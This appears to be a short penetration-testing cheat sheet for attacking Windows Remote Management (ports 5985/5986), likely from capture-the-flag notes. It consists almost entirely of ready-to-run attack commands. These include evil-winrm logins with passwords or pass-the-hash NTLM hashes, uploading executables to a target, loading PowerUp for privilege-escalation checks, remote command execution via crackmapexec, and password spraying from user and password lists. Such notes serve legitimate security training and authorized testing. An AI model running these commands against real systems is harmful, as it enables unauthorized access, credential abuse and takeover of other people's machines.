5985 - WinRM

nmap -sV -sC -p 5985,5986 TARGET

evil-winrm -i TARGET -u user -p 'password'
evil-winrm -i TARGET -u user -H NTLM_HASH

evil-winrm -i TARGET -u user -p 'password' -S

*Evil-WinRM* PS> upload /local/path/file.exe C:\Windows\Temp\file.exe
*Evil-WinRM* PS> download C:\Users\admin\Desktop\flag.txt /tmp/flag.txt

evil-winrm -i TARGET -u user -p 'password' -s /opt/scripts/
*Evil-WinRM* PS> PowerUp.ps1
*Evil-WinRM* PS> Invoke-AllChecks

crackmapexec winrm TARGET -u user -p password
crackmapexec winrm TARGET -u user -H NTLM_HASH
crackmapexec winrm TARGET -u user -p password -x "whoami"
crackmapexec winrm TARGET -u user -p password -X "Get-Process"

$cred = Get-Credential
Enter-PSSession -ComputerName TARGET -Credential $cred

Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { whoami }

crackmapexec winrm TARGET -u users.txt -p passwords.txt

# -H takes ONLY the 32-char NT hash (no LM half, no colon)
evil-winrm -i TARGET -u Administrator -H NTLM_HASH